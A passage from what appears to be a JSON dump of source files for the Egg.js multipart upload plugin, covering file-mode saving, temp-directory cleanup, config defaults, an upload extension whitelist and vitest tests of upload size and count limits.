Context#cleanupRequestFiles\n   * @param {Array<String>} [files] - file paths need to cleanup, default is `ctx.request.files`.\n   */\n  async cleanupRequestFiles(files?: EggFile[]): Promise<void> {\n    if (!files || !files.length) {\n      files = this.request.files;\n    }\n    if (Array.isArray(files)) {\n      for (const file of files) {\n        try {\n          await fs.rm(file.filepath, { force: true, recursive: true });\n        } catch (err) {\n          // warning log\n          this.coreLogger.warn('[egg-multipart-cleanupRequestFiles-error] file: %j, error: %s', file, err);\n        }\n      }\n    }\n  }\n}\n\nfunction extractOptions(options: MultipartOptions = {}) {\n  const opts: MultipartOptions = {};\n  if (typeof options.autoFields === 'boolean') {\n    opts.autoFields = options.autoFields;\n  }\n  if (options.limits) {\n    opts.limits = options.limits;\n  }\n  if (options.checkFile) {\n    opts.checkFile = options.checkFile;\n  }\n\n  if (options.defCharset) {\n    opts.defCharset = options.defCharset;\n  }\n  if (options.defParamCharset) {\n    opts.defParamCharset = options.defParamCharset;\n  }\n  // compatible with config names\n  if (options.defaultCharset) {\n    opts.defCharset = options.defaultCharset;\n  }\n  if (options.defaultParamCharset) {\n    opts.defParamCharset = options.defaultParamCharset;\n  }\n\n  // limits\n  if (options.limits) {\n    const limits: Record<string, number | undefined> = (opts.limits = {\n      ...options.limits,\n    });\n    for (const key in limits) {\n      if (key.endsWith('Size') && limits[key]) {\n        limits[key] = humanizeBytes(limits[key]);\n      }\n    }\n  }\n\n  return opts;\n}\n"
  },
  {
    "path": "plugins/multipart/src/app/middleware/multipart.ts",
    "content": "import { pathMatching } from '@eggjs/path-matching';\nimport type { Application, MiddlewareFunc } from 'egg';\n\nimport type { MultipartConfig } from '../../config/config.default.ts';\n\nexport default (options: MultipartConfig, _app: Application): MiddlewareFunc => {\n  // normalize options\n  const matchFn =\n    options.fileModeMatch &&\n    pathMatching({\n      match: options.fileModeMatch,\n      // pathToRegexpModule: app.options.pathToRegexpModule,\n    });\n\n  return async function multipart(ctx, next) {\n    if (!ctx.is('multipart')) return next();\n    if (matchFn && !matchFn(ctx)) return next();\n\n    await ctx.saveRequestFiles();\n    return next();\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/src/app/schedule/clean_tmpdir.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport dayjs from 'dayjs';\nimport type { Application, Subscription } from 'egg';\nimport type { EggScheduleTaskOptions } from 'egg/schedule';\n\nexport default (app: Application): typeof Subscription => {\n  return class CleanTmpdir extends app.Subscription {\n    static get schedule(): EggScheduleTaskOptions {\n      return {\n        type: 'worker',\n        cron: app.config.multipart.cleanSchedule.cron,\n        disable: app.config.multipart.cleanSchedule.disable,\n        immediate: false,\n      };\n    }\n\n    async _remove(dir: string) {\n      const { ctx } = this;\n      if (\n        await fs.access(dir).then(\n          () => true,\n          () => false,\n        )\n      ) {\n        ctx.coreLogger.info('[@eggjs/multipart:CleanTmpdir] removing tmpdir: %j', dir);\n        try {\n          await fs.rm(dir, { force: true, recursive: true });\n          ctx.coreLogger.info('[@eggjs/multipart:CleanTmpdir:success] tmpdir: %j has been removed', dir);\n        } catch (err) {\n          ctx.coreLogger.error('[@eggjs/multipart:CleanTmpdir:error] remove tmpdir: %j error: %s', dir, err);\n          ctx.coreLogger.error(err);\n        }\n      }\n    }\n\n    async subscribe() {\n      const { ctx } = this;\n      const config = ctx.app.config;\n      ctx.coreLogger.info('[@eggjs/multipart:CleanTmpdir] start clean tmpdir: %j', config.multipart.tmpdir);\n      // last year\n      const lastYear = dayjs().subtract(1, 'years');\n      const lastYearDir = path.join(config.multipart.tmpdir, lastYear.format('YYYY'));\n      await this._remove(lastYearDir);\n      // 3 months\n      for (let i = 1; i <= 3; i++) {\n        const date = dayjs().subtract(i, 'months');\n        const dir = path.join(config.multipart.tmpdir, date.format('YYYY/MM'));\n        await this._remove(dir);\n      }\n      // 7 days\n      for (let i = 1; i <= 7; i++) {\n        const date = dayjs().subtract(i, 'days');\n        const dir = path.join(config.multipart.tmpdir, date.format('YYYY/MM/DD'));\n        await this._remove(dir);\n      }\n      ctx.coreLogger.info('[@eggjs/multipart:CleanTmpdir] end');\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/src/app.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nimport { normalizeOptions } from './lib/utils.ts';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad(): void {\n    this.app.config.multipart = normalizeOptions(this.app.config.multipart);\n    const options = this.app.config.multipart;\n\n    this.app.coreLogger.info('[@eggjs/multipart] %s mode enable', options.mode);\n    if (options.mode === 'file' || options.fileModeMatch) {\n      this.app.coreLogger.info(\n        '[@eggjs/multipart] will save temporary files to %j, cleanup job cron: %j',\n        options.tmpdir,\n        options.cleanSchedule.cron,\n      );\n      // enable multipart middleware\n      this.app.config.coreMiddleware.push('multipart');\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/src/config/config.default.ts",
    "content": "import os from 'node:os';\nimport path from 'node:path';\n\nimport type { PathMatchingPattern } from '@eggjs/path-matching';\nimport type { Context, EggAppInfo } from 'egg';\n\nexport type MatchItem = string | RegExp | ((ctx: Context) => boolean);\n\nexport interface MultipartConfig {\n  /**\n   * which mode to handle multipart request, default is `stream`, the hard way.\n   * If set mode to `file`, it's the easy way to handle multipart request and save it to local files.\n   * If you don't know the Node.js Stream work, maybe you should use the `file` mode to get started.\n   */\n  mode: 'stream' | 'file';\n  /**\n   * special url to use file mode when global `mode` is `stream`.\n   */\n  fileModeMatch?: PathMatchingPattern;\n  /**\n   * Auto set fields to parts, default is `false`.\n   * Only work on `stream` mode.\n   * If set true，all fields will be auto handle and can access by `parts.fields`\n   */\n  autoFields: boolean;\n  /**\n   * default charset encoding, don't change it before you real know about it\n   * Default is `utf8`\n   */\n  defaultCharset: string;\n  /**\n   * For multipart forms, the default character set to use for values of part header parameters (e.g. filename)\n   * that are not extended parameters (that contain an explicit charset), don't change it before you real know about it\n   * Default is `utf8`\n   */\n  defaultParamCharset: string;\n  /**\n   * Max field name size (in bytes), default is `100`\n   */\n  fieldNameSize: number;\n  /**\n   * Max field value size (in bytes), default is `100kb`\n   */\n  fieldSize: string | number;\n  /**\n   * Max number of non-file fields, default is `10`\n   */\n  fields: number;\n  /**\n   * Max file size (in bytes), default is `10mb`\n   */\n  fileSize: string | number;\n  /**\n   * Max number of file fields, default is `10`\n   */\n  files: number;\n  /**\n   * Add more ext file names to the `whitelist`, default is `[]`, only valid when `whitelist` is `null`\n   */\n  fileExtensions: string[];\n  /**\n   * The white ext file names, default is `null`\n   */\n  whitelist: string[] | ((filename: string) => boolean) | null;\n  /**\n   * Allow array field, default is `false`\n   */\n  allowArrayField: boolean;\n  /**\n   * The directory for temporary files. Only work on `file` mode.\n   * Default is `os.tmpdir()/egg-multipart-tmp/${appInfo.name}`\n   */\n  tmpdir: string;\n  /**\n   * The schedule for cleaning temporary files. Only work on `file` mode.\n   */\n  cleanSchedule: {\n    /**\n     * The cron expression for the schedule.\n     * Default is `0 30 4 * * *`\n     * @see https://github.com/eggjs/egg/tree/next/plugins/schedule#cron-style-scheduling\n     */\n    cron: string;\n    /**\n     * Default is `false`\n     */\n    disable: boolean;\n  };\n  checkFile?(fieldname: string, file: any, filename: string, encoding: string, mimetype: string): void | Error;\n}\n\nexport default (appInfo: EggAppInfo) => {\n  return {\n    multipart: {\n      mode: 'stream',\n      autoFields: false,\n      defaultCharset: 'utf8',\n      defaultParamCharset: 'utf8',\n      fieldNameSize: 100,\n      fieldSize: '100kb',\n      fields: 10,\n      fileSize: '10mb',\n      files: 10,\n      fileExtensions: [],\n      whitelist: null,\n      allowArrayField: false,\n      tmpdir: path.join(os.tmpdir(), 'egg-multipart-tmp', appInfo.name),\n      cleanSchedule: {\n        cron: '0 30 4 * * *',\n        disable: false,\n      },\n    } as MultipartConfig,\n  };\n};\n"
  },
  {
    "path": "plugins/multipart/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\n/**\n * Multipart plugin\n *\n * @since 4.1.0\n * Usage:\n * ```ts\n * // config/plugin.ts\n * import multipartPlugin from '@eggjs/multipart';\n *\n * export default {\n *   ...multipartPlugin(),\n * };\n * ```\n */\nexport default definePluginFactory({\n  name: 'multipart',\n  enable: true,\n  path: import.meta.dirname,\n  optionalDependencies: ['schedule'],\n}) as EggPluginFactory;\n"
  },
  {
    "path": "plugins/multipart/src/lib/LimitError.ts",
    "content": "export class LimitError extends Error {\n  code: string;\n  status: number;\n\n  constructor(code: string, message: string) {\n    super(message);\n    this.code = code;\n    this.status = 413;\n    this.name = this.constructor.name;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/src/lib/MultipartFileTooLargeError.ts",
    "content": "export class MultipartFileTooLargeError extends Error {\n  status: number;\n  fields: Record<string, any>;\n  filename: string;\n\n  constructor(message: string, fields: Record<string, any>, filename: string) {\n    super(message);\n    this.name = this.constructor.name;\n    this.status = 413;\n    this.fields = fields;\n    this.filename = filename;\n    Error.captureStackTrace(this, this.constructor);\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/src/lib/utils.ts",
    "content": "import assert from 'node:assert';\nimport path from 'node:path';\n\nimport bytes from 'bytes';\n\nimport type { MultipartConfig } from '../config/config.default.ts';\n\nexport const whitelist: string[] = [\n  // images\n  '.jpg',\n  '.jpeg', // image/jpeg\n  '.png', // image/png, image/x-png\n  '.gif', // image/gif\n  '.bmp', // image/bmp\n  '.wbmp', // image/vnd.wap.wbmp\n  '.webp',\n  '.tif',\n  '.psd',\n  // text\n  '.svg',\n  '.js',\n  '.jsx',\n  '.json',\n  '.css',\n  '.less',\n  '.html',\n  '.htm',\n  '.xml',\n  // tar\n  '.zip',\n  '.gz',\n  '.tgz',\n  '.gzip',\n  // video\n  '.mp3',\n  '.mp4',\n  '.avi',\n];\n\nexport function humanizeBytes(size: number | string): number {\n  if (typeof size === 'number') {\n    return size;\n  }\n  return bytes(size) as number;\n}\n\nexport function normalizeOptions(options: MultipartConfig): MultipartConfig {\n  // make sure to cast the value of config **Size to number\n  options.fileSize = humanizeBytes(options.fileSize);\n  options.fieldSize = humanizeBytes(options.fieldSize);\n  options.fieldNameSize = humanizeBytes(options.fieldNameSize);\n\n  // validate mode\n  options.mode = options.mode || 'stream';\n  assert(['stream', 'file'].includes(options.mode), `Expect mode to be 'stream' or 'file', but got '${options.mode}'`);\n  if (options.mode === 'file') {\n    assert(!options.fileModeMatch, '`fileModeMatch` options only work on stream mode, please remove it');\n  }\n\n  // normalize whitelist\n  if (Array.isArray(options.whitelist)) {\n    options.whitelist = options.whitelist.map((extname) => extname.toLowerCase());\n  }\n\n  // normalize fileExtensions\n  if (Array.isArray(options.fileExtensions)) {\n    options.fileExtensions = options.fileExtensions.map((extname) => {\n      return extname.startsWith('.') || extname === '' ? extname.toLowerCase() : `.${extname.toLowerCase()}`;\n    });\n  }\n\n  function checkExt(fileName: string) {\n    if (typeof options.whitelist === 'function') {\n      return options.whitelist(fileName);\n    }\n    const extname = path.extname(fileName).toLowerCase();\n    if (Array.isArray(options.whitelist)) {\n      return options.whitelist.includes(extname);\n    }\n    // only if user don't provide whitelist, we will use default whitelist + fileExtensions\n    return whitelist.includes(extname) || options.fileExtensions.includes(extname);\n  }\n\n  options.checkFile = (_fieldName: string, fileStream: any, fileName: string): void | Error => {\n    // just ignore, if no file\n    if (!fileStream || !fileName) return;\n    try {\n      if (!checkExt(fileName)) {\n        const err = new Error('Invalid filename: ' + fileName);\n        Reflect.set(err, 'status', 400);\n        return err;\n      }\n    } catch (err: any) {\n      err.status = 400;\n      return err;\n    }\n  };\n\n  return options;\n}\n"
  },
  {
    "path": "plugins/multipart/src/types.ts",
    "content": "import type { EggFile, MultipartFileStream, MultipartOptions } from './app/extend/context.ts';\nimport type { MultipartConfig } from './config/config.default.ts';\n\ndeclare module 'egg' {\n  // add EggAppConfig overrides types\n  interface EggAppConfig {\n    /**\n     * multipart parser options\n     * @member Config#multipart\n     */\n    multipart: MultipartConfig;\n  }\n\n  interface Request {\n    /**\n     * Files Object Array\n     */\n    files?: EggFile[];\n  }\n\n  interface Context {\n    saveRequestFiles(options?: MultipartOptions): Promise<void>;\n    getFileStream(options?: MultipartOptions): Promise<MultipartFileStream>;\n    cleanupRequestFiles(files?: EggFile[]): Promise<void>;\n  }\n}\n"
  },
  {
    "path": "plugins/multipart/test/dynamic-option.test.ts",
    "content": "import fs from 'node:fs/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/dynamic-option.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/dynamic-option'),\n    });\n    await app.ready();\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n\n  afterAll(async () => {\n    await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(() => mm.restore());\n\n  it('should work with saveRequestFiles options', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(1 * 1024 * 1024), '1mb.js', 'application/octet-stream');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      // dataType: 'json',\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/LimitError: Reach fileSize limit/);\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/enable-pathToRegexpModule.test.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs/promises';\nimport path from 'node:path';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it } from 'vitest';\n\ndescribe.skip('test/enable-pathToRegexpModule.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: 'apps/fileModeMatch-glob-with-pathToRegexpModule',\n      // pathToRegexpModule: require.resolve('path-to-regexp-v8'),\n    });\n    await app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(async () => {\n    await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should upload match file mode work on /upload_file', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', path.join(__dirname, 'fixtures', 'bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload_file', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    assert(res.status === 200);\n    const data = JSON.parse(res.data);\n    assert.deepStrictEqual(data.body, {\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    assert(data.files.length === 3);\n    assert(data.files[0].field === 'file1');\n    assert(data.files[0].filename === 'foooooooo.js');\n    assert(data.files[0].encoding === '7bit');\n    assert(data.files[0].mime === 'application/javascript');\n    assert(data.files[0].filepath.startsWith(app.config.multipart.tmpdir));\n\n    assert(data.files[1].field === 'file2');\n    assert(data.files[1].filename === 'enable-pathToRegexpModule.test.js');\n    assert(data.files[1].encoding === '7bit');\n    assert(data.files[1].mime === 'application/javascript');\n    assert(data.files[1].filepath.startsWith(app.config.multipart.tmpdir));\n\n    assert(data.files[2].field === 'bigfile');\n    assert(data.files[2].filename === 'bigfile.txt');\n    assert(data.files[2].encoding === '7bit');\n    assert(data.files[2].mime === 'application/javascript');\n    assert(data.files[2].filepath.startsWith(app.config.multipart.tmpdir));\n  });\n\n  it('should upload match file mode work on /upload_file/*', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', path.join(__dirname, 'fixtures', 'bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload_file/foo', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    assert.equal(res.status, 200);\n    const data = JSON.parse(res.data);\n    assert.deepStrictEqual(data.body, {\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    assert(data.files.length === 3);\n    assert(data.files[0].field === 'file1');\n    assert(data.files[0].filename === 'foooooooo.js');\n    assert(data.files[0].encoding === '7bit');\n    assert(data.files[0].mime === 'application/javascript');\n    assert(data.files[0].filepath.startsWith(app.config.multipart.tmpdir));\n\n    assert(data.files[1].field === 'file2');\n    assert(data.files[1].filename === 'enable-pathToRegexpModule.test.js');\n    assert(data.files[1].encoding === '7bit');\n    assert(data.files[1].mime === 'application/javascript');\n    assert(data.files[1].filepath.startsWith(app.config.multipart.tmpdir));\n\n    assert(data.files[2].field === 'bigfile');\n    assert(data.files[2].filename === 'bigfile.txt');\n    assert(data.files[2].encoding === '7bit');\n    assert(data.files[2].mime === 'application/javascript');\n    assert(data.files[2].filepath.startsWith(app.config.multipart.tmpdir));\n  });\n\n  it('should upload not match file mode', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', path.join(__dirname, 'fixtures', 'bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    assert(res.status === 200);\n    const data = JSON.parse(res.data);\n    assert.deepStrictEqual(data, { body: {} });\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/file-mode-limit-filesize-per-request.test.ts",
    "content": "import fs from 'node:fs/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/file-mode-limit-filesize-per-request.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/limit-filesize-per-request'),\n    });\n    await app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(async () => {\n    await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should 200 when file size just 1mb on /upload-limit-1mb', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(1 * 1024 * 1024 - 1), '1mb.js', 'application/octet-stream');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload-limit-1mb', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    // console.log(data);\n    expect(data.files.length).toBe(1);\n    expect(data.files[0].field).toBe('file');\n    expect(data.files[0].filename).toBe('1mb.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/octet-stream');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n    const stat = await fs.stat(data.files[0].filepath);\n    expect(stat.size).toBe(1 * 1024 * 1024 - 1);\n  });\n\n  it('should 413 when file size > 1mb on /upload-limit-1mb', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(1 * 1024 * 1024 + 10), '1mb.js', 'application/octet-stream');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload-limit-1mb', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n    expect(res.status).toBe(413);\n    expect(res.data.code).toBe('Request_fileSize_limit');\n    expect(res.data.message).toBe('Reach fileSize limit');\n  });\n\n  it('should 200 when file size > 1mb /upload-limit-2mb', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(1 * 1024 * 1024 + 10), '2mb.js', 'application/octet-stream');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload-limit-2mb', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n\n    expect(res.status).toBe(200);\n    // console.log(res.data);\n    const data = res.data;\n    expect(data.files.length).toBe(1);\n    expect(data.files[0].field).toBe('file');\n    expect(data.files[0].filename).toBe('2mb.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/octet-stream');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n    const stat = await fs.stat(data.files[0].filepath);\n    expect(stat.size).toBe(1 * 1024 * 1024 + 10);\n  });\n\n  it('should 413 when file size > 2mb on /upload-limit-2mb', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(2 * 1024 * 1024 + 10), '2mb.js', 'application/octet-stream');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload-limit-2mb', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n      dataType: 'json',\n    });\n\n    expect(res.status).toBe(413);\n    // console.log(res.data);\n    expect(res.data.code).toBe('Request_fileSize_limit');\n    expect(res.data.message).toBe('Reach fileSize limit');\n  });\n\n  it('should 400 when request is not multipart content type /upload-limit-2mb', async () => {\n    const res = await urllib.request(host + '/upload-limit-2mb', {\n      method: 'POST',\n      data: {},\n      dataType: 'json',\n    });\n\n    expect(res.status).toBe(400);\n    expect(res.data.message).toBe('Content-Type must be multipart/*');\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/file-mode.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\nimport { fileURLToPath } from 'node:url';\n\nimport { mm, mock, type MockApplication } from '@eggjs/mock';\nimport dayjs from 'dayjs';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\n\ndescribe('test/file-mode.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/file-mode'),\n    });\n    await app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(async () => {\n    await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should ignore non multipart request', async () => {\n    const res = await app.httpRequest().post('/upload').send({\n      foo: 'bar',\n      n: 1,\n    });\n    expect(res.status).toBe(200);\n    expect(res.body).toEqual({\n      body: {\n        foo: 'bar',\n        n: 1,\n      },\n    });\n  });\n\n  it('should upload', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].fieldname).toBe('file2');\n    expect(data.files[1].filename).toBe('file-mode.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].transferEncoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].mimeType).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n\n  it('should 200 when file size just 10mb', async () => {\n    const form = formstream();\n    form.buffer('file', Buffer.alloc(10 * 1024 * 1024 - 1), '10mb.js', 'application/octet-stream');\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.files.length).toBe(1);\n    expect(data.files[0].field).toBe('file');\n    expect(data.files[0].filename).toBe('10mb.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/octet-stream');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n    const stat = await fs.stat(data.files[0].filepath);\n    expect(stat.size).toBe(10 * 1024 * 1024 - 1);\n  });\n\n  it('should 200 when field size just 100kb', async () => {\n    const form = formstream();\n    form.field('foo', 'a'.repeat(100 * 1024 - 1));\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body.foo).toBe('a'.repeat(100 * 1024 - 1));\n  });\n\n  it('should 200 when request fields equal 10', async () => {\n    const form = formstream();\n    for (let i = 0; i < 10; i++) {\n      form.field('foo' + i, 'a' + i);\n    }\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(Object.keys(data.body).length).toBe(10);\n  });\n\n  it('should 200 when request files equal 10', async () => {\n    const form = formstream();\n    for (let i = 0; i < 10; i++) {\n      form.file('foo' + i, __filename);\n    }\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.files.length).toBe(10);\n  });\n\n  it('should handle non-ascii filename', async () => {\n    const file = getFixtures('中文名.js');\n    const res = await app.httpRequest().post('/upload').attach('file', file);\n    expect(res.status).toBe(200);\n    expect(res.body.files[0].filename).toBe('中文名.js');\n  });\n\n  it('should throw error when request fields limit', async () => {\n    const form = formstream();\n    for (let i = 0; i < 11; i++) {\n      form.field('foo' + i, 'a' + i);\n    }\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/Error: Reach fields limit/);\n  });\n\n  it('should throw error when request files limit', async () => {\n    const form = formstream();\n    form.setMaxListeners(11);\n    for (let i = 0; i < 11; i++) {\n      form.file('foo' + i, __filename);\n    }\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/Error: Reach files limit/);\n  });\n\n  it('should throw error when request field size limit', async () => {\n    const form = formstream();\n    form.field('foo', 'a'.repeat(100 * 1024 + 1));\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/Error: Reach fieldSize limit/);\n  });\n\n  // fieldNameSize is TODO on busboy\n  // see https://github.com/mscdex/busboy/blob/v0.3.1/lib/types/multipart.js#L5\n  it.skip('should throw error when request field name size limit', async () => {\n    const form = formstream();\n    form.field('b'.repeat(101), 'a');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(413);\n    expect(res.data.toString()).toMatch(/Error: Reach fieldSize limit/);\n  });\n\n  it('should throw error when request file size limit', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    form.buffer('file3', Buffer.alloc(10 * 1024 